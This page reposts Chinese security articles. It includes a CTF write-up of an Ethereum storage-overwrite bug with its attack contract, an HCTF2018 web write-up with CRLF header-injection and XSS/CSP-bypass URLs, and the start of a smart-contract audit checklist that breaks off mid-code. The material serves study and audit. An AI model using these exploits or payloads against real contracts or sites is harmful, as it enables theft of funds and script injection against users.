以太坊合约审计 CheckList 之变量覆盖问题
Elfinx 2018-11-16 9:18 转存
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年11月16日
系列文章:

2018年11月6日,DVP上线了一场“地球OL真实盗币游戏”,其中第二题是一道智能合约题目,题目中涉及到的了一个很有趣的问题,这里拿出来详细说说看。

https://etherscan.io/address/0x5170a14aa36245a8a9698f23444045bdc4522e0a#code

Writeup

pragma solidity ^0.4.21;
library SafeMath {
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
    }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }

 function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}
contract ERC20Basic {
  function totalSupply() public view returns (uint256);
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);

  function transferFrom(address from, address to, uint256 value) public returns (bool);

  function approve(address spender, uint256 value) public returns (bool);
  event Approval(
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

library SafeERC20 {
  function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
    require(token.transfer(to, value));
  }

  function safeTransferFrom(
    ERC20 token,
    address from,
    address to,
    uint256 value
  )
    internal
  {
    require(token.transferFrom(from, to, value));
  }

  function safeApprove(ERC20 token, address spender, uint256 value) internal {
    require(token.approve(spender, value));
  }
}

contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;

    constructor(address addr) payable{
        token = ERC20(addr);
    }

    function (){
        if(map.length>=uint256(msg.sender)){
            require(map[uint256(msg.sender)]!=1);
        }

        if(token.balanceOf(this)==0){
            //airdrop is over
            selfdestruct(msg.sender);
        }else{
            token.safeTransfer(msg.sender,100);

            if (map.length <= uint256(msg.sender)) {
                map.length = uint256(msg.sender) + 1;
            }
            map[uint256(msg.sender)] = 1;  

        }
    }

    //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
    function guess(uint256 x,uint256 blockNum) public payable {
        require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
        require(blockNum>block.number);
        if(token.allowance(msg.sender,address(this))>0){
            token.safeTransferFrom(msg.sender,address(this),1*(10**18));
        }
        if (map.length <= uint256(msg.sender)+x) {
            map.length = uint256(msg.sender)+x + 1;
        }

        map[uint256(msg.sender)+x] = blockNum;
    }

    //Run a lottery
    function lottery(uint256 x) public {
        require(map[uint256(msg.sender)+x]!=0);
        require(block.number > map[uint256(msg.sender)+x]);
        require(block.blockhash(map[uint256(msg.sender)+x])!=0);

        uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;

        if (x == answer) {
            token.safeTransfer(msg.sender,token.balanceOf(address(this)));
            selfdestruct(msg.sender);
        }
    }
}

看着代码那么长,但其实核心代码就后面这点。

fallback函数

<span class="kd">function</span> <span class="p">(){</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">length</span><span class="o">&gt;=</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)){</span>
        <span class="nx">require</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)]</span><span class="o">!=</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span><span class="p">(</span><span class="nx">token</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="k">this</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">){</span>
        <span class="c1">//airdrop is over</span>
        <span class="nx">selfdestruct</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">);</span> <span class="c1">//如果token花完了,就会自动销毁自己发送余额</span>
    <span class="p">}</span><span class="k">else</span><span class="p">{</span>
        <span class="nx">token</span><span class="p">.</span><span class="nx">safeTransfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="mi">100</span><span class="p">);</span> <span class="c1">// 否则就给你转100token</span>

        <span class="k">if</span> <span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">))</span> <span class="p">{</span>
            <span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>  <span class="c1">// 通过做map变量偏移操作来使空投只发1次</span>
        <span class="p">}</span>
        <span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>  
    <span class="p">}</span>
<span class="p">}</span>

简单来说就是每个地址只发一次空投,然后如果余额空投完了就会销毁自己转账。

guess函数

<span class="c1">//Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)</span>
<span class="kd">function</span> <span class="nx">guess</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">x</span><span class="p">,</span><span class="nx">uint256</span> <span class="nx">blockNum</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">payable</span> <span class="p">{</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">value</span> <span class="o">==</span> <span class="mf">0.001</span> <span class="nx">ether</span> <span class="o">||</span> <span class="nx">token</span><span class="p">.</span><span class="nx">allowance</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">))</span><span class="o">&gt;=</span><span class="mi">1</span><span class="o">*</span><span class="p">(</span><span class="mi">10</span><span class="o">**</span><span class="mi">18</span><span class="p">));</span> <span class="c1">// guess要花费0.001 ether</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">blockNum</span><span class="o">&gt;</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span><span class="p">);</span> <span class="c1">// blockNum要大于当前block.number</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">token</span><span class="p">.</span><span class="nx">allowance</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">))</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">){</span>
        <span class="nx">token</span><span class="p">.</span><span class="nx">safeTransferFrom</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">),</span><span class="mi">1</span><span class="o">*</span><span class="p">(</span><span class="mi">10</span><span class="o">**</span><span class="mi">18</span><span class="p">));</span>  <span class="c1">//转账</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">map</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">]</span> <span class="o">=</span> <span class="nx">blockNum</span><span class="p">;</span>  <span class="c1">// 可以想向任意地址写入blockNum</span>
<span class="p">}</span>

lottery函数

<span class="kd">function</span> <span class="nx">lottery</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">x</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">]</span><span class="o">!=</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// 目标地址必须有值</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span> <span class="o">&gt;</span> <span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">]);</span> <span class="c1">// 这点是和前面guess函数对应,必须在之后开奖</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">blockhash</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">])</span><span class="o">!=</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// 不能使中间的参数为当前块为0</span>

    <span class="nx">uint256</span> <span class="nx">answer</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">blockhash</span><span class="p">(</span><span class="nx">map</span><span class="p">[</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">)</span><span class="o">+</span><span class="nx">x</span><span class="p">])))</span><span class="o">%</span><span class="mi">10000</span><span class="p">;</span> 
    <span class="c1">// 计算hash的后4位</span>

    <span class="k">if</span> <span class="p">(</span><span class="nx">x</span> <span class="o">==</span> <span class="nx">answer</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// 如果相等,则转账并销毁</span>
        <span class="nx">token</span><span class="p">.</span><span class="nx">safeTransfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span><span class="nx">token</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">)));</span>
        <span class="nx">selfdestruct</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

其实回到题目本身来看,我们的目的是要拿走合约里的所有eth,在合约里,唯一仅有的转账办法就是selfdestruct,所以我们的目的就是想办法触发这个函数。

销毁函数只在fallback和lottery函数中存在,其实阅读一下不难发现,lottery不可能有任何操作,没办法溢出,没办法修改,除非运气逆天,否则不可能从lottery函数触发这个函数。

所以目光回到fallback函数,要满足转账,我们需要想办法让balanceOf返回0,如果我们想要通过薅羊毛的方式去解决的话简单测试就会明白这不可能,因为一次只能转100,余额如果我没记错的话,应该超过万亿以上。

很显然,想通过空投要薅羊毛来获得flag基本不太可能,所以我们的目标就是,如何影响到balanceOf的返回。

而balanceOf这个函数是来自于token变量的

constructor(address addr) payable{
    token = ERC20(addr);
}

而token变量是一个全局变量,在开始被定义

pragma solidity ^0.4.21;
contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;
    ...

在 EVM 中存储有三种方式,分别是 memory、storage 以及 stack

memory : 内存,生命周期仅为整个方法执行期间,函数调用后回收,因为仅保存临时变量,故GAS开销很小 storage : 永久储存在区块链中,由于会永久保存合约状态变量,故GAS开销也最大 stack : 存放部分局部值类型变量,几乎免费使用的内存,但有数量限制

而全局变量就是存在storage中的,合约中的全局变量有以下几个

ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;

而token就是第一个全局变量,则storage[0]就存了token变量

然后回到我们前面的需求,我们怎么才有可能覆盖storage的第一块数据呢,让我们再回到代码。guess中有这么一段代码。

map[uint256(msg.sender)+x] = blockNum;

在EVM中数组和其他类型不同,因为数组时动态大小的,所以数组类型的数据计算方式为

address(map_data) = sha(array_slot)+offset

其中array_slot就是map变量数据的位置,也就是1,offset就是数组中的偏移,比如map[2],offset就是2.

这样一来,map[2]的地址就是sha(1)+2,假设map[2]=2333,则storage[sha(1)+2]=2333

这样一来就出现问题了,由于offset我们可控,我们就可以向storage的任意地址写值。

再加上storage不是无限大的,它最多只有2**256那么大,sha(1)是固定的0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6。

也就是说我们设置x为2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,storage就会溢出,并覆盖token变量。

所以思路就比较清楚了,构造攻击合约,然后定义balanceOf返回0,调用fallback函数,然后返回即可。

利用合约大致如下

pragma solidity ^0.4.21;

contract dvp_attack {
    address public targetaddr;

    constructor(address addr) payable{
        targetaddr = addr;
    }

    function balanceOf(address addr) public returns(uint i){
        i = 0;
    }

    function attack(uint256 x,uint256 blockNum){
        // modity owner
        targetaddr.call(bytes4(keccak256("guess(uint256,uint256)",x,blockNum)));
        // fallback
        targetaddr.call(bytes4(keccak256("a")));
    }
}

在题目之后

在题目之后,我们不难发现,整个漏洞的成因与未初始化storage指针非常像,要明白这个漏洞,首先我们需要明白在EVM中对变长变量的定义和储存方式。

array

uint256[] map;

map就是一个uint类型的数组,在storage中,map变量的储存地址计算公式如下

address(map_data) = sha3(slot)+offset

刚才说到array_slot就是数组变量在全局变量中声明的位置,比如map是第二个全局变量

map[2] = 22333
==&gt;
address(map_data) = sha3(1)+2
==&gt;
storage[sha3(1)+2] = 22333

mapping

mapping (address =&gt; uint) balances;

balances是一个键为address类型,值为uint型的mapping字典,在storage中,balances变量的储存地址计算公式如下

address(balances_data) = sha3(key, slot)

其中key就是mapping类型中的键名,slot就是balances变量在全局变量中声明的位置,比如balances是第一个全局变量:

balances[0xaaa] = 22333 //0xaaa为address
==&gt;
address(balances_data) = sha3(0xaaa,0)
==&gt;
storage[sha3(0xaaa,0)] = 22333

mapping + struct

struct Person {
        address[] addr;
        uint funds;
    }

mapping (address =&gt; Person) people;

people是一个键为address类型,值为struct的mapping,在storage中,people变量的储存地址计算公式如下

address(people_data) = sha3(key,slot)+offset

其中key就是mapping类型中的键名,slot就是people变量在全局变量中声明的位置,offset就是变量在结构体内的位置,比如people是第一个全局变量:

people[0xaaa].addr[1] = 0xbbb
==&gt;
address(people_data) = sha3(sha3(0xaaa,0)+0)+1
==&gt;
storage[sha3(sha3(0xaaa,0)+0)+1] = 0xbbb

对于上面的三种典型结构来说,虽然可以保证sha3的结果不会重复,但很难保证sha3(a)+b不和sha3(c)重复,所以,虽然几率很小,但仍然可能因为hash碰撞导致变量被覆盖。

再回到攻击者角度,一旦变长数组的key可以被控制,就有可能人为的控制覆盖变量,产生进一步利用。

详细的原理可以参照以太坊智能合约 OPCODE 逆向之理论基础篇

漏洞影响范围

经过研究,我们把这类问题统一归结是变量覆盖问题,当array变量出现,且参数可控时,就有可能导致恶意利用了。

“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。目前Haotian平台智能合约审计功能已经集成了该规则。

截至2018年11月15日,我们使用HaoTian对全网公开的智能合约进行扫描,其中共有277个合约存在潜在的该问题,其中交易量最高的10个合约情况如下:

总结

这是一起涉及到底层设计结构的变量覆盖问题,各位智能合约的开发者们可以关于代码中可能存在的这样的问题,避免不必要的损失。

上述变量覆盖问题已经更新到以太坊合约审计checkList

REF


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/745/

原文阅读

HCTF2018 部分 web 题目 Writeup
Elfinx 2018-11-16 9:16 转存
作者:LoRexxar'@知道创宇404实验室
时间:2018年11月14日

HCTF2018在出题的时候其实准备了一个特别好的web题目思路,可惜赛前智能合约花了太多时间和精力,没办法只能放弃了之前的web题,在运维比赛的过程中,我发现学弟出的一些题目其实很有意思值得思考。

bottle

bottle是小学弟@luo00出的题目,源码如下 https://github.com/Lou00/HCTF2018_Bottle

整个站几乎只有一个功能就是有一个可控的任意跳转,然后根据题目功能可以判断是一道xss题目。其实技巧挺明确的,就是比较冷门,我第一次见是阿里先知的xss挑战赛。

https://lorexxar.cn/2017/08/31/xss-ali/#05%E8%B7%B3%E8%BD%AC

然后本题的思路主要来自于ph师傅的一篇分析 https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

首先这个问题有意思的点在于挺多的,在原本的环境下,bottle有个特殊的鬼畜特性在于,他的header顺序是会变得...

首先我们需要明白一个问题,在流量中,body和header是在一起的,在header的两个换行后内容会被自动识别为body

所以在bottle.redirect(path)中存在location头注入,我们就可以通过传入两个换行来吧header挤到body中,这样就可以控制页面的返回了

150.109.53.69:/path?path=//150.109.53.69:0%2f%0D%0A%0D%0Atest

正常来说,直接注入script就可以了

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<span class="nt">&lt;html&gt;&lt;head&gt;&lt;script&gt;</span>alert`1`<span class="nt">&lt;/script&gt;</span>

原文中说当端口小于80,firefox就会卡住,但我实际测试只有0端口会卡住,可能我环境不同

这就是题目的原解,这里虽然加入了CSP,但其实没区别,由于bottle头随机的问题,当CSP随机到location下面时,就可以注入js了,但这样就成了一个随机的题目了,学弟想让别人注意到bottle特性而不是随便撞到,这里就设置了脚本定时重启,然后让头更随机一点儿。

攻击者需要意识到这个问题然后不断提交才可以攻击成功,但可惜这种攻击方式就随机了,失去了ctf本身的乐趣,变得太无趣了。

-----------下面开始脑洞时间,实际没有作用,不想看可以跳过----------------------

尝试

仔细思考了一下逻辑我开始想办法改进这题。当然,改进题目的基础必然是想办法减少随机性,所以一些讨论的基础都在于CSP头稳定在location之上。

其实可以发现,CSP特别简单,最简单的self CSP

response.add_header('Content-Security-Policy',"default-src 'self'; script-src 'self'")

self CSP最大的问题在于如果能找到一个self源内容可控的,那CSP就可以被绕过了。

然后我发现,这个漏洞不是刚好就是可以控制页面内容吗,于是一个漏洞利用链想到了

构造一个CLRF控制内容注入alert,然后构造CLRF,然后构造第二个CLRF注入script,然后src引入前面的链接。

听起来非常完美的利用链。这其中也有几个小坑。

首先构造一个alert

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0Aalert%60%31%60%3b

这里想到现代浏览器对content-type可能有要求,所以直接头注入设置content-type为text/javascript

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert`1`

然后尝试引入这个链接,然后需要注意二次urlencode,不然%0a%0d都会解开

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<span class="nt">&lt;html&gt;&lt;head&gt;&lt;script</span><span class="err">/</span><span class="na">src=</span><span class="s">%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%33%30%30%30%2f%70%61%74%68%3f%70%61%74%68%3d%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%30%25%32%66%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%61%2b%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%25%33%62%2b%63%68%61%72%73%65%74%25%33%64%55%54%46%2d%38%25%30%44%25%30%41%25%30%44%25%30%41%61%6c%65%72%74%60%31%60</span><span class="nt">&gt;&lt;/script&gt;</span>

看上去很有道理,然后访问...然后失败...Orz,被CSP ban了

仔细回想上面的流程,其实有个很重要的问题没有注意到,这个问题我也是第一次重视到。

CSP和cookie的同源策略一样,不但对ip做限制,对端口也有限制。最过分的是,CSP在location头存在的时候,会跟入判断location

也就意味着,我们试图引入http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert作为目标js引入,会被认为引入http://150.109.53.69:0这个来源的js,端口为0,self的端口为3000,所以被拦截了。

而且值得注意的是,这里如果把CSP改为

response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69")

CSP中如果不设置端口,默认会认为是80端口。同样没办法绕过。

经过了一番研究我发现这个端口判定没有别的解决办法,如果不用跳0的办法,正常的302是会跟随跳转过去的。

无奈我修改题目把CSP改成了

response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69:*")

然后我开始继续上面的测试,果然,仍然失败了......这次报错不一样了,阻拦加载的并不是CSP。

firefox的控制台显示script加载失败,仔细研究了一番突然意识到一个事情,是不是浏览器的不加载非200的静态资源

于是我用flask简单写了一段代码测试了一下

<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span>
<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>

<span class="nd">@app.route</span><span class="p">(</span><span class="s1">'/'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">hello_world</span><span class="p">():</span>
    <span class="k">return</span> <span class="s1">'alert(1);'</span><span class="p">,</span> <span class="mi">303</span>

<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
    <span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>

事实证明的确是这样的,浏览器在这块的安全性已经做的非常好了,这种奇怪的操作完全不成立...

思考到最后,我忽然又意识到了一个问题,假设我把跳转那个页面生生改成200,然后去加载,有一个致命的利用问题。

模拟出来的页面内容是这样的

alert`1`;
xxxxxheader: xxxx

我没办法改变下面的内容,而js虽然是逐行渲染的,但遇到报错之后整块script都会阻止,不再继续加载了,然后我就又回到了最初的问题,我必须保证locaion是最后一行header才行...我违背了最初想要去除随机性的目的...

最后没办法,还是将题目改回原样了,这里的思考过程挺有意思的,分享给大家,也感谢在试验过程中@Math1as给我出了很多主意。

game

game这道题是我的另一个小学弟@undifined出的题目,后来听他说起这个思路我觉得蛮有意思的,这里出成题目用了明文密码入库虽说是比较强行,但其实用来注其他信息还是不难的,是个很有趣的想法。

第一次见到这种思路是在pwnhub上

https://pwnhub.cn/questiondetail?id=3

这题目当时是上传文件,然后后端展示的时候会有排序,通过不断上传就可以得到目标文件名字。

这里也是一样,这里是一个近似于逻辑漏洞,站内只有两个功能:

  1. 打游戏获得积分
  2. 排行榜,可以根据不同的字段排行

排行榜的数据都是实时的,而且整个部分没有任何的注入点,完全不能SQL注入,但由于可以根据不同的字段排行,所以order by后面的字段名可控,除了常规的id, username, sex, score以外,也可以更具password来排行,再加上数据库中密码是明文存取的(不是明文也可以,只是获得的是hash)

知道了原理,我们就可以通过不断插入新的账号来逼近目标字符串,因为数据库排序和前面说的linux文件名排序是一样的,很有趣。

ac &gt; adf &gt; ad

想明白就可以直接写脚本跑起来


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/744/

原文阅读

以太坊智能合约审计 CheckList
Elfinx 2018-11-13 6:49 转存
作者:知道创宇404区块链安全研究团队
时间:2018年11月12日
在以太坊合约审计checkList中,我将以太坊合约审计中遇到的问题分为5大种,包括编码规范问题、设计缺陷问题、编码安全问题、编码设计问题、编码问题隐患。其中涵盖了超过29种会出现以太坊智能合约审计过程中遇到的问题。帮助智能合约的开发者和安全工作者快速入门智能合约安全。本CheckList在完成过程中参考并整理兼容了各大区块链安全研究团队的研究成果,CheckList中如有不完善/错误的地方也欢迎大家提issue.

以太坊智能合约审计CheckList 目录

1、编码规范问题

(1) 编译器版本

合约代码中,应指定编译器版本。建议使用最新的编译器版本

pragma solidity ^0.4.25;

老版本的编译器可能会导致各种已知的安全问题,例如https://paper.seebug.org/631/#44-dividenddistributor

v0.4.23更新了一个编译器漏洞,在这个版本中如果同时使用了两种构造函数,即

contract a {
    function a() public{
        ...
    }
    constructor() public{
        ...
    }
}

会忽略其中的一个构造函数,该问题只影响v0.4.22

v0.4.25修复了下面提到的未初始化存储指针问题。

https://etherscan.io/solcbuginfo

(2) 构造函数书写问题

对应不同编译器版本应使用正确的构造函数,否则可能导致合约所有者变更

在小于0.4.22版本的solidify编译器语法要求中,合约构造函数必须和合约名字相等, 名字受到大小写影响。如:

contract Owned {
    function Owned() public{
    }

在0.4.22版本以后,引入了constructor关键字作为构造函数声明,但不需要function

contract Owned {
    constructor() public {
    }

如果没有按照对应的写法,构造函数就会被编译成一个普通函数,可以被任意人调用,会导致owner权限被窃取等更严重的后果。

(3) 返回标准

遵循ERC20规范,要求transfer、approve函数应返回bool值,需要添加返回值代码

<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span>

而transferFrom返回结果应该和transfer返回结果一致。

(4) 事件标准

遵循ERC20规范,要求transfer、approve函数触发相应的事件

<span class="kd">function</span> <span class="nx">approve</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_spender</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">){</span>
    <span class="nx">allowance</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">][</span><span class="nx">_spender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">_value</span><span class="p">;</span>
    <span class="nx">emit</span> <span class="nx">Approval</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_spender</span><span class="p">,</span> <span class="nx">_value</span><span class="p">)</span>
    <span class="k">return</span> <span class="kc">true</span>

(5) 假充值问题

转账函数中,对余额以及转账金额的判断,需要使用require函数抛出错误,否则会错误的判断为交易成功

<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="nx">_value</span> <span class="o">&amp;&amp;</span> <span class="nx">_value</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_value</span><span class="p">;</span>
        <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_value</span><span class="p">;</span>
        <span class="nx">Transfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_value</span><span class="p">);</span>
        <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span>
<span class="p">}</span>

上述代码可能会导致假充值。

正确代码如下:

<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span>  <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">_to</span> <span class="o">!=</span> <span class="nx">address</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">_amount</span> <span class="o">&lt;=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]);</span>

    <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">].</span><span class="nx">sub</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
    <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">].</span><span class="nx">add</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
